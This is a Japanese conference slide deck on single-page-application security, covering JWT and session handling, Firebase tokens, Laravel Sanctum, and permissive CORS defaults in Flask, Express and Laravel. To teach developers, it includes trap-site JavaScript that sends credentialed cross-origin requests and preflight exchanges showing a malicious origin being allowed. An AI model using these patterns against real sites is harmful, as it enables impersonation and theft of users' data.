Publicidad
Publicidad

Más contenido relacionado

Presentaciones para ti(20)

Similar a SPAセキュリティ入門~PHP Conference Japan 2021(20)

Publicidad

Más de Hiroshi Tokumaru(20)

Publicidad

SPAセキュリティ入門~PHP Conference Japan 2021

  1. SPAセキュリティ入門 EGセキュアソリューションズ株式会社 徳丸 浩
  2. 徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – EGセキュアソリューションズ株式会社取締役CTO https://www.eg-secure.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月) – YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」 https://j.mp/web-sec-study – 技術士(情報工学部門) © 2021 Hiroshi Tokumaru 2
  3. 本日お話したいこと • SPA(Single Page Application)のセキュリティの基礎 • JWT(JSON Web Token)をセッション管理に用いることの是非 • CookieとlocalStorageの比較に対する論争について • CORSを甘く見てはいけない • どうすればよいか 3 © 2021 Hiroshi Tokumaru
  4. 前提知識の復習 • JWT : 後で説明します • Cookie – サーバーの指示でブラウザに保存されるデータ – アクセスの度にクッキーがサーバーに送信される • localStorage – JavaScript操作でブラウザに保存(set)され、参照(get)、削除(remove)できる – シンプルなキー・バリュー・ストレージでサーバーに自動送信されない – アクセスの範囲は同一オリジン、消さない限り残り続ける • ステートレス・トークン – サーバーに問い合わせなくても通行可能な切符(のようなもの) • ステートフル・トークン – 都度サーバーに問い合わせて通行可能か判断する切符(のようなもの) © 2021 Hiroshi Tokumaru 4
  5. ネットでの議論の振り返り © 2021 Hiroshi Tokumaru 5
  6. HTML5のLocal Storageを使ってはいけない(翻訳) 本気で申し上げます。local storageを使わないでください。 local storageにセッション情報を保存する開発者がこれほど多い理由について、私に はさっぱり見当がつきません。しかしどんな理由であれ、その手法は地上から消え てなくなってもらう必要がありますが、明らかに手に負えなくなりつつあります。 私は毎日のように、重要なユーザー情報をlocal storageに保存するWebサイトを新た に開いては頭を抱え、それをやらかして致命的なセキュリティ問題への扉を開いて しまう開発者がいかに多いかを思い知ってつらい気持ちになっています。 それでは、local storageとは何か、そしてlocal storageにセッションデータを保存し てはならない理由について、私の魂の奥底の叫びをお伝えしたいと思います。 6 https://techracho.bpsinc.jp/hachi8833/2019_10_09/80851
  7. おーい磯野ー,Local StorageにJWT保存しようぜ! ある日,HTML5のLocal Storageを使ってはいけない がバズっていた. この記事でテーマになっていることの1つに「Local StorageにJWTを保存してはいけ ない」というのがある. しかし,いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったの でここに残しておく. 【中略】 一見すると,これはLocal Storageを使う場合に発生する懸念事項をクリアしている ように見えた. しかしよく考えると,攻撃者にとって真に重要なのは認証トークンでは無く,認証 トークンを使って何をするか,ということのはずだ. このことについては,Why HttpOnly Won't Protect Youでも述べられている. 7 https://scrapbox.io/musou1500/%E3%81%8A%E3%83%BC%E3%81%84%E7%A3%AF%E9%87%8E%E3%83% BC%EF%BC%8CLocal_Storage%E3%81%ABJWT%E4%BF%9D%E5%AD%98%E3%81%97%E3%82%88%E3 %81%86%E3%81%9C%EF%BC%81
  8. どうしてリスクアセスメントせずに JWT をセッションに使っちゃうわけ? はあああ〜〜〜〜頼むからこちらも忙しいのでこんなエントリを書かせないでほし い (挨拶)。もしくは僕を暇にしてこういうエントリを書かせるためのプログラマー を募集しています (挨拶)。 JWT (JSON Web Token; RFC 7519) を充分なリスクの見積もりをせずセッションに使 う事例が現実に観測されはじめ、周りにもそれが伝染しはじめているようなので急 いで書くことにします。 (ステートレスな) JWT をセッションに使うことは、セッ ション ID を用いる伝統的なセッション機構に比べて、あらゆるセキュリティ上のリ スクを負うことになります。 8 https://co3k.org/blog/why-do-you-use-jwt-for-session
  9. JWT認証、便利やん? どうして JWT をセッションに使っちゃうわけ? - co3k.org に対して思うことを書く。 (ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機 構に比べて、あらゆるセキュリティ上のリスクを負うことになります。 と大口叩いておいて、それに続く理由がほとんどお粗末な運用によるものなのはどうなのか。最後に、 でもそこまでしてステートレスに JWT を使わなくてはいけないか? とまで行っていますが、JWT認証のメリットはその実装のシンプルさとステートレスなことにありま す。現実的には実際はDB参照とか必要になったりするんですが、ほとんど改ざん検証だけで済むのは 魅力的です。トレードオフでリアルタイムでユーザー無効化ができないことくらいですかね。ライブ ラリなんて使う必要ないほどシンプルだし、トレードオフさえ許容できればむしろ、なぜこれ以上に 複雑な認証システム使わないといけないの?複雑さゆえにライブラリが必要になったり、そのライブ ラリが脆弱性を抱えていたり、そもそも使い方を間違えてしまったりするんでしょう。 9 https://auth0.hatenablog.com/entry/2018/09/21/004131
  10. SPA(Single Page Application)とは? © 2021 Hiroshi Tokumaru 10
  11. SPA以前のウェブ=MPA(Multi-Page Application) © 2021 Hiroshi Tokumaru 11 こんにちは NEXT 次へどうぞ NEXT ありがとうござい ました NEXT JavaScriptで代入した値は次のページではリセットされる → セッション管理の機能によりデータを引き継ぐ 処理 処理 処理
  12. SPA(Single Page Application)の構造 © 2021 Hiroshi Tokumaru 12 SPA ページ遷移をしないのでJavaScriptの 変数は保持される。 ただし、ページ遷移、戻る、リロー ドで変数の値はリセットされる → セッション管理あるいは localStorageによりデータを引き継ぐ HTML JSON Webサーバー APIサーバー 処理 コンテンツ 配信 XHR/ Fetch
  13. SPAといってもセキュリティの基本は同じ • フロント側(JavaScript) – クロスサイトスクリプティング(DOM Base XSS) – オープンリダイレクト – evalインジェクション – … • サーバー側(API) – SQLインジェクション – クロスサイトスクリプティング(反射型、持続型) – クロスサイトリクエストフォージェリ(CSRF) – … • SPAのセキュリティ = APIのセキュリティ + JavaScriptのセキュリティ – と言っても過言ではない © 2021 Hiroshi Tokumaru 13
  14. SPAのサーバー構成 © 2021 Hiroshi Tokumaru 14 Webサーバー https://www.example.com APIサーバー https://api.example.com 認証サーバー https://auth.example.com HTML JSON JWT 等 Web、API、認証の各サーバー は、まとめることもあれば、 更に分離する場合もある SPA
  15. SPAとCORS(Cross-Origin Resource Sharing) © 2021 Hiroshi Tokumaru 15
  16. この項で説明すること • JavaScript で複数サーバをまたがって 通信する(XMLHttpRequestや Fetch API)場合には CORS(Cross-Origin Resource Sharing) の理解が不 可欠です • しかし、最近は「CORSはフレームワークにまかせておけば大丈夫」 という風潮があるようです • フレームワーク任せのCORS対応では、大きな落とし穴があることを 説明します © 2021 Hiroshi Tokumaru 16
  17. CORSがなかった時代は同一オリジンのみ通信できた © 2021 Hiroshi Tokumaru 17 Webサーバー https://www.example.com HTML <div>xxx</div> <script> … </script> JSON { "id": 123 } var req = new XMLHttpRequest(); req.open("GET", "/api"); IE7 e 同一オリジンとは、 スキーム(https) ホスト(www.example.com) ポート(443) がすべて同一である状態
  18. CORSがなかった頃のセキュリティ保護=同一オリジンポリシー © 2021 Hiroshi Tokumaru 18 Webサーバー https://www.example.com CORSがないと、このリクエストは エラーになっていた = 安全だが不便 罠サイト https://evil.example.org var req = new XMLHttpRequest() req.open("GET", "https://www.example.com/api") HTML IE7 IE7 e
  19. CORSによるセキュリティ保護(現在のブラウザ) © 2021 Hiroshi Tokumaru 19 Webサーバー 兼 APIサーバー https://www.example.com HTML クッキーは飛びレスポンスも返るが、 上の2行が返されないと、 レスポンスは受け取れない 罠サイト https://evil.example.org const req = new XMLHttpRequest() req.open("GET", "https://www.example.com/api") req.withCredentials = true Error: CORSヘッダがない Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: http://evil.example.org { "email": "alice@example.jp", "tel": "03-1290-5678" } Google Chrome
  20. Cookieを伴うXHRは厳しい条件が課せられている • CORSのルールは複雑だが、Cookieを使わない場合は、設定が甘くて も実害がないケースが多い • Cookieを伴う場合は間違えると大変! – 【必須】Access-Control-Allow-Credentials: true – 【必須】 Access-Control-Allow-Origin: http://www.example.org – Access-Control-Allow-Origin: * ではレスポンスを受け取れない • Cookieを伴わないXHRは Access-Control-Allow-Origin: * でレスポンス を受け取れるが、Cookieがない=認証がない ので通常大問題ではない © 2021 Hiroshi Tokumaru 20
  21. 現在のフレームワークはどうなっているか? © 2021 Hiroshi Tokumaru 21
  22. Flask (Python用軽量フレームワーク) © 2021 Hiroshi Tokumaru 22 from flask import Flask, session, jsonify from flask_cors import CORS # 便利なパッケージを導入 app = Flask(__name__) CORS(app, supports_credentials=True) # ... OPTIONS / HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Origin: https://evil.example.com Host: www.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: x-evil Referer: https://evil.example.com/ HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-evil Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT Vary: Origin Content-Length: 0 Server: Werkzeug/2.0.1 Python/3.9.5 Date: Wed, 29 Sep 2021 07:30:57 GMT Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-evil Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
  23. Express (JavaScript用軽量かつ人気のフレームワーク) © 2021 Hiroshi Tokumaru 23 const express = require('express') const cors = require('cors') // 便利なパッケージ const app = express() app.use(cors({ origin: true, credentials: true })) // ... OPTIONS / HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Origin: https://evil.example.com Host: www.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: x-evil Referer: https://evil.example.com/ HTTP/1.1 204 No Content X-Powered-By: Express Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Headers: x-evil Content-Length: 0 Date: Wed, 29 Sep 2021 07:55:24 GMT Connection: keep-alive Keep-Alive: timeout=5 Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Headers: x-evil
  24. われらが Laravel はどうか? $ composer create-project laravel/laravel . … 略 $ cat config/cors.php # Laravel 7 以降、laravel-corsが自動的にインストールされる <?php return [ /* 省略 */ 'paths' => ['api/*', 'sanctum/csrf-cookie'], 'allowed_methods' => ['*'], 'allowed_origins' => ['*'], 'allowed_origins_patterns' => [], 'allowed_headers' => ['*'], 'exposed_headers' => [], 'max_age' => 0, 'supports_credentials' => false, // デフォルトでは Cookie は送信されない ]; © 2021 Hiroshi Tokumaru 24
  25. Laravel © 2021 Hiroshi Tokumaru 25 $ cat config/cors.php ... 'supports_credentials' => false, ]; OPTIONS /api/index HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Origin: https://evil.example.com Host: www.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: x-evil Referer: https://evil.example.com/ HTTP/1.0 204 No Content Host: www.example.com Date: Wed, 29 Sep 2021 08:14:51 GMT X-Powered-By: PHP/8.0.8 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: DELETE Access-Control-Allow-Headers: x-evil Access-Control-Max-Age: 0 Content-type: text/html; charset=UTF-8 Vary: Access-Control-Request-Method, Access-Control-Request-Headers Connection: close Date: Wed, 29 Sep 2021 08:14:51 GMT Cache-Control: no-cache, private Access-Control-Allow-Origin: * Access-Control-Allow-Methods: DELETE Access-Control-Allow-Headers: x-evil
  26. Laravel © 2021 Hiroshi Tokumaru 26 $ cat config/cors.php ... 'supports_credentials' => true, // クッキーも使いたいよねー ]; OPTIONS / HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Origin: https://evil.example.com Host: www.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: x-evil Referer: https://evil.example.com/ HTTP/1.0 204 No Content Host: www.example.com Date: Wed, 29 Sep 2021 08:25:52 GMT X-Powered-By: PHP/8.0.8 Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: DELETE Access-Control-Allow-Headers: x-evil Access-Control-Max-Age: 0 Content-type: text/html; charset=UTF-8 Connection: close Cache-Control: no-cache, private Date: Wed, 29 Sep 2021 08:25:52 GMT Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: DELETE Access-Control-Allow-Headers: x-evil
  27. フレームワークの現状について • 各フレームワークにてCORSに簡単に対応できるパッケージ / プラグイ ンが用意されている • 細かく設定しなくても、デフォルトで「なんでもあり」という設定に なっている場合がある • クッキーによるセッション管理を行っている場合、CORSの設定不備 でXSS脆弱性等がなくてもなりすましができてしまう • HTTPリクエストヘッダにトークンをつけている場合は、CORS設定不 備があってもなりすましはされない – リクエストヘッダはJavaScriptにより設定するので、同一オリジンポリシーによ り保護される © 2021 Hiroshi Tokumaru 27
  28. Authorizationヘッダにトークンを入れる場合 © 2021 Hiroshi Tokumaru 28
  29. ヘッダにトークンを付与する場合はCORS不備の影響は少ない © 2021 Hiroshi Tokumaru 29 Webサーバー 兼 APIサーバー https://www.example.com Authorization ヘッダをつけたくて も、罠サイトにはトークンが保存 されていないのでつけられない → CORS的にはヘッダのほうが安全 罠サイト https://evil.example.org token eyJXXXXXXXXX https://www.example.com 別オリジンの localStorageには アクセス不可 const token = localStorage.getItem('token')
  30. Firebase REST APIで学ぶJWT この項では、代表的なサーバーレス基盤であるFirebaseのREST APIを用いて、JWTの基本を学びます © 2021 Hiroshi Tokumaru 30
  31. Firebaseとは • Googleが提供するサーバーレスプラットフォーム • 自前のサーバーを用意することなく、各種機能を従量課金で利用可能 – 無料のSparkプランもあり • 以下の機能を提供 – Authentication : 認証基盤 – Realtime Database : データベース(非SQL) – Cloud Firestore :データベース(非SQL) – Cloud Storage : ファイル保管庫 – Firebase Hosting : ウェブサイトのホスティング – Cloud Functions : 様々なトリガーにより機能を実行する • REST APIの他、様々な言語向けのSDKを提供 © 2021 Hiroshi Tokumaru 31
  32. Firebaseを用いたSPAのサーバー構成 © 2021 Hiroshi Tokumaru 32 Webサーバー(Firebase Hosting) https://www.example.com APIサーバー https://firestore.googleapis.com 認証サーバー https://identitytoolkit.googleapis.com HTML 画像 CSS JavaScript JSON JWT 等 SPA
  33. Firebase Authentication の設定画面 33 https://console.firebase.google.com/project/firebbs-XXXXX/authentication/users
  34. Firebase Authentication で使える認証プロバイダ 34 https://console.firebase.google.com/project/firebbs-XXXXX/authentication/providers
  35. ログイン処理のPOSTリクエスト(要旨) POST /v1/accounts:signInWithPassword?key=AIzaSyBPB4y62at_… HTTP/1.1 Host: identitytoolkit.googleapis.com Content-Type: application/json Origin: https://www.example.com User-Agent: Mozilla Accept: */* Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 98 { "email": "alice@example.jp", "password": "password", "returnSecureToken": true } © 2021 Hiroshi Tokumaru 35
  36. ログイン処理のHTTPレスポンス(要旨) HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 1372 Access-Control-Allow-Origin: https://www.example.com { "kind": "identitytoolkit#VerifyPasswordResponse", "localId": "MhdJidRysBNPdHQ1zHIIaGE363y2", "email": "alice@example.jp", "displayName": "", "idToken": "eyJhbGciOiJSUzI1NiIs … AJfEzAxQ3PS90A", "registered": true, "refreshToken": "ACzBnCjMDis3mBBLVijV … 6AaswVqvc5Z0E4AkX3FA", "expiresIn": "3600" } © 2021 Hiroshi Tokumaru 36 これがJWT(IDトークン) リフレッシュトークン(後述) このリクエストの前にプリフライト リクエストが飛ぶが自動的に許可さ れている
  37. 37 ヘッダー(Base64URLエンコード) ペイロード(Base64URLエンコード) 署名 https://jwt.io/ JWTの構造
  38. { "alg": "RS256", "kid": "7b87112375427d657f5e25ca01d565e592a231db", "typ": "JWT" } JWTとは(1) • JWT (RFC 7519)は認証トークンの標準フォーマットの一つ • ヘッダー . ペイロード . 署名 からなる。いずれもbase64urlエンコード • JWTはOpenID Connect などで認証情報の持ち運びに利用される • ヘッダーの例(エンコード前) • このJSONをBase64エンコードすると eyJ で始まるので、eyJがJWTの 代名詞となっている © 2021 Hiroshi Tokumaru 38 JWTであることを示す 署名鍵の識別子 アルゴリズム: RS256形式の署名
  39. • ペイロードの例(エンコード前) { "iss": "https://securetoken.google.com/firebbs-XXXXX", "aud": "firebbs-XXXXX", "auth_time": 1632916659, "sub": "MhdJidRysBNPdHQ1zHIIaGE363y2", "iat": 1632966032, "exp": 1632969632, } JWTとは(2) © 2021 Hiroshi Tokumaru 39 JWT の発行者 (issuer) の識別子 ユーザーの一意な識別子(不変のもの) 認証日時(エポックタイム) JWT の受取先 JWT発行日時(エポックタイム) JWTの有効期限(エポックタイム)
  40. { "sub": 1235, "exp": 17xxx } aliceさんですね { "sub": 1236, "exp": 17xxx } bobです JWTとは(3) • 署名部は、バイナリ形式の署名をbase64urlエンコードしたもの。署名 パートはJSON形式ではない • 署名がないと、ペイロードの改ざんが簡単にできてしまう © 2021 Hiroshi Tokumaru 40 認証サーバー APIサーバー
  41. トークンに署名つけないなんて、ありえない …と思うでしょ © 2021 Hiroshi Tokumaru 41
  42. ありました © 2021 Hiroshi Tokumaru 42
  43. [独自記事]7pay不正利用問題、「7iD」に潜んでいた脆弱性の一端が判明 セブン&アイ・ホールディングスが決済サービス「7pay(セブンペ イ)」の不正利用を受けて外部のIDからアプリへのログインを一時停止 した措置について、原因となった脆弱性の一端が明らかになった。日経 xTECHの取材で2019年7月12日までに分かった。外部IDとの認証連携機 能の実装に不備があり、パスワードなしで他人のアカウントにログイン できる脆弱性があったという。 同社は2019年7月11日午後5時、FacebookやTwitter、LINEなど5つの外 部サービスのIDを使ったログインを一時停止した。「各アプリ共通で利 用しているオープンIDとの接続部分にセキュリティー上のリスクがある 恐れがあるため」(広報)としている。 43 https://xtech.nikkei.com/atcl/nxt/news/18/05498/ より引用
  44. https://www.businessinsider.jp/post-194660 より引用 44
  45. https://www.businessinsider.jp/post-194660 より引用 45
  46. https://www.businessinsider.jp/post-194660 より引用 46 トークンが受け取れてしまう 酷い脆弱性だが、7pay事件の原因ではないそうです
  47. JWT(IDトークン)による認証・認可制御 © 2021 Hiroshi Tokumaru 47
  48. Cloud Firestore (データベース)の設定画面 48 https://console.firebase.google.com/project/firebbs-31a11/firestore/data/~2Farticles~2FX…
  49. Cloud Firestore の認可設定画面 49 https://console.firebase.google.com/project/firebbs-XXXXX/firestore/rules rules_version = '2'; service cloud.firestore { match /databases/{database}/documents { match /{document=**} { allow read, write: if request.auth.uid != null; } } } 認証ユーザのみ読み書きを許可するという 一番簡単な認可ルール IDトークンのチェックが自動的に行われ、認証状態を request.authオブジェクトが保持している
  50. コンテンツ取得のGETリクエスト(要旨) GET /v1/projects/firebbs-XXXXX/databases/(default)/documents/articles HTTP/1.1 Host: firestore.googleapis.com Origin: https://www.example.com Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjdiODcx … xLv5Dc8uPYSPhP0xxQ1w User-Agent: Mozilla Accept: */* Accept-Encoding: gzip, deflate Connection: close © 2021 Hiroshi Tokumaru 50 Authorizationヘッダに Bearerトークンとして IDトークンを付与
  51. コンテンツ取得のHTTPレスポンス(要旨) HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 513 Access-Control-Allow-Origin: https://www.example.com Access-Control-Allow-Credentials: true { "documents": [ { "name": "projects/firebbs-31a11/databases/(default)/documents/articles/XnVM…", "fields": { "uid": { "stringValue": "MhdJidRysBNPdHQ1zHIIaGE363y2" }, "comment": { "stringValue": "PHPカンファレンス2021にようこそ" }, © 2021 Hiroshi Tokumaru 51
  52. JWTのタイムアウトとリフレッシュ © 2021 Hiroshi Tokumaru 52
  53. この項で説明すること • JWTはサーバーに問い合わせることなくログイン状態を持ち運べる • 元々OpenID Connect等ID連携用に設計されたが、セッション管理にも 便利じゃんということで大流行 • でも、サーバーに問い合わせなくても良いということは、サーバー側 でセッション破棄することができない • この緩和策としてJWTのタイムアウトとリフレッシュを使います © 2021 Hiroshi Tokumaru 53
  54. JWTの有効期限とリフレッシュ • JWTは一々認証サーバー側に問い合わせしなくてもJWT単体で認証状 態を確認できる(署名鍵は必要) • JWTに有効期限がない、あるいは有効期限が非常に長いと、JWTの無 効化が難しい • このため、JWTは通常有効期限を定めて、有効期限が切れたら認証 サーバーに再発行してもらう(リフレッシュ) • Firebase AuthenticationのREST APIが発行するJWTの有効期限は1時間 (3600秒) © 2021 Hiroshi Tokumaru 54
  55. 有効期限が切れたJWTでアクセスすると401になる HTTP/1.1 401 Unauthorized Content-Type: application/json; charset=UTF-8 Content-Length: 123 Access-Control-Allow-Origin: https://www.example.com Access-Control-Allow-Credentials: true { "error": { "code": 401, "message": "Missing or invalid authentication.", "status": "UNAUTHENTICATED" } } © 2021 Hiroshi Tokumaru 55
  56. トークンリフレッシュのPOSTリクエスト(要旨) POST /v1/token?key=AIzaSyBPXXXXXXXXXXXXXXXXXXXXm2LAjks HTTP/1.1 Host: securetoken.googleapis.com Content-Type: application/json User-Agent: Mozilla Origin: https://www.example.com Content-Length: 292 { "grant_type":"refresh_token", "refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx7O_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_Gr94uHC5S_NEOHkDh 3w" } © 2021 Hiroshi Tokumaru 56 リフレッシュ要求の入力 値としてリフレッシュ トークンを指定
  57. トークンリフレッシュのHTTPレスポンス(要旨) HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 2239 Access-Control-Allow-Origin: https://www.example.com { "access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ", "expires_in": "3600", "token_type": "Bearer", "refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx … b7PFkTmz_Gr94uHC5S_NEOHkDh3w", "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ", "user_id": "MhdJidRysBNPdHQ1zHIIaGE363y2", "project_id": "592373516447" } © 2021 Hiroshi Tokumaru 57 リフレッシュされたID トークンは、今後1時間 有効になる
  58. ユーザー セッションの管理 Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー 認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次 のいずれかが発生した場合にのみ有効期限が切れます。 • ユーザーが削除された • ユーザーが無効にされた • ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など) Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、 ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限 を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能 があります。 58 https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
  59. ユーザー セッションの管理 Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー 認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次 のいずれかが発生した場合にのみ有効期限が切れます。 • ユーザーが削除された • ユーザーが無効にされた • ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など) Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、 ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限 を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能 があります。 59 https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
  60. ログアウトはどうする? • IDトークン(JWT)を無効化するAPIがあれば、それを使えばよいが、 ない場合はトークンをクライアントから削除する • 「完全なログアウト」を実現する方法 – JWTの有効期限を極限まで短くする(ステートレスの性質が薄れる) – JWTの拒否リスト(Deny List)を用いる(サーバー側で管理=ステートを持つ) – APIゲートウェイでセッション管理する(後述) © 2021 Hiroshi Tokumaru 60
  61. APIゲートウェイの利用(マイクロソフトの解説より) 61 https://docs.microsoft.com/ja-jp/azure/architecture/microservices/design/gateway APIゲートウェイにてセッ ション管理を行えば即時ログ アウトは容易に実現できる
  62. IDやパスワードをだまし取ろうとするページについて(Yahoo!) 62 https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314 フィッシングに対する対応方法の記事
  63. パスワードを変更したら、各トークンはどうなる? • Firebase Authentication REST APIの場合、パスワード変更後 – IDトークンは有効期限内は有効のまま – リフレッシュトークンは直ちに無効化される – パスワード変更後最長1時間はセッション乗っ取りされ続ける • IDトークンはステートレス(サーバーに確認しない)、リフレッシュ トークンはステートフルなので自然な結果 • Firebase Authenticationの言語毎に用意されたSDKの場合は即時ログア ウトを含め細かい制御ができる © 2021 Hiroshi Tokumaru 63
  64. Laravel Sanctumの場合 この項では、Laravel Sanctumが提供するステートフル・トークンの概要と、 セキュリティ要件の実現方法について説明します © 2021 Hiroshi Tokumaru 64
  65. Sanctumとは? イントロダクション Laravel Sanctum(サンクタム、聖所)は、SPA(シングルページアプリ ケーション)、モバイルアプリケーション、およびシンプルなトーク ンベースのAPIに軽い認証システムを提供します。Sanctumを使用す ればアプリケーションの各ユーザーは、自分のアカウントに対して複 数のAPIトークンを生成できます。これらのトークンには、そのトー クンが実行できるアクションを指定するアビリティ/スコープが付与 されることもあります。 仕組み Laravel Sanctumは、2つの別々の問題を解決するために存在します。 ライブラリを深く掘り下げる前に、それぞれについて説明しましょう。 https://readouble.com/laravel/8.x/ja/sanctum.html より引用 65
  66. Sanctumとは? APIトークン 1つ目にSanctumは、OAuthの複雑さなしに、ユーザーにAPIトークンを発行する ために使用できるシンプルなパッケージです。この機能は、「パーソナルアクセ ストークン」を発行するGitHubやその他のアプリケーションに触発されています。 たとえば、アプリケーションの「アカウント設定」に、ユーザーが自分のアカウ ントのAPIトークンを生成できる画面があるとします。Sanctumを使用して、これ らのトークンを生成および管理できます。これらのトークンは通常、非常に長い 有効期限(年)がありますが、ユーザーはいつでも手動で取り消すことができます。 Laravel Sanctumは、ユーザーAPIトークンを単一のデータベーステーブルに保存 し、有効なAPIトークンを含む必要があるAuthorizationヘッダを介して受信HTTP リクエストを認証することでこの機能を提供します。 https://readouble.com/laravel/8.x/ja/sanctum.html より引用 66 Sanctumのトークンは ステートフル
  67. Sanctumとは? SPA認証 2つ目にSanctumは、Laravelを利用したAPIと通信する必要があるシングルページ アプリケーション(SPA)を認証する簡単な方法を提供するために存在します。これ らのSPAは、Laravelアプリケーションと同じリポジトリに存在する場合もあれば、 Vue CLIまたはNext.jsアプリケーションを使用して作成されたSPAなど、完全に 別個のリポジトリである場合もあります。 この機能のために、Sanctumはいかなる種類のトークンも使用しません。代わり に、SanctumはLaravelの組み込みのクッキーベースのセッション認証サービスを 使用します。通常、SanctumはLaravelの「web」認証ガードを利用してこれを実 現します。これにより、CSRF保護、セッション認証の利点が提供できるだけでな く、XSSを介した認証資格情報の漏洩を保護します。 https://readouble.com/laravel/8.x/ja/sanctum.html より引用 67
  68. 今日は APIトークンについて見ていきます © 2021 Hiroshi Tokumaru 68
  69. Sanctumのトークン(personal_access_tokensテーブル) © 2021 Hiroshi Tokumaru 69 トークンのID (一連番号) トークンが示す ユーザID等 トークン ランダム文字列 トークン 生成日時 トークン 更新日時 権限情報
  70. ログイン処理の例 public function login(Request $request) { $credentials = $request->validate([ // クレデンシャルの取得とバリデーション 'email' => 'required|email', 'password' => 'required' ]); if (Auth::attempt($credentials)) { $user = $request->user(); // $user->tokens()->delete(); // これを有効にすると既存のセッションがログアウトする $token = $user->createToken("login:user{$user->id}")->plainTextToken; return response()->json(['token' => $token], Response::HTTP_OK); } else { return response()->json(['status' => 'Error'], Response::HTTP_UNAUTHORIZED); } } © 2021 Hiroshi Tokumaru 70 トークン生成 トークンをJSONとして返す
  71. ログアウト処理の例 public function logout(Request $request) { $user = $request->user(); // $user->tokens()->delete(); // こちらだと一括ログアウトになる $request->user()->currentAccessToken()->delete(); // 現在のトークンのみ削除 return response()->json(['status' => 'Logged out'], 200); } © 2021 Hiroshi Tokumaru 71
  72. ステートフルなトークンはセキュリティ要件を実現しやすい • 完全なログアウト → トークンを削除するだけ • パスワード変更時に既存セッションをすべてログアウト © 2021 Hiroshi Tokumaru 72
  73. IDやパスワードをだまし取ろうとするページについて(Yahoo!) 73 https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314
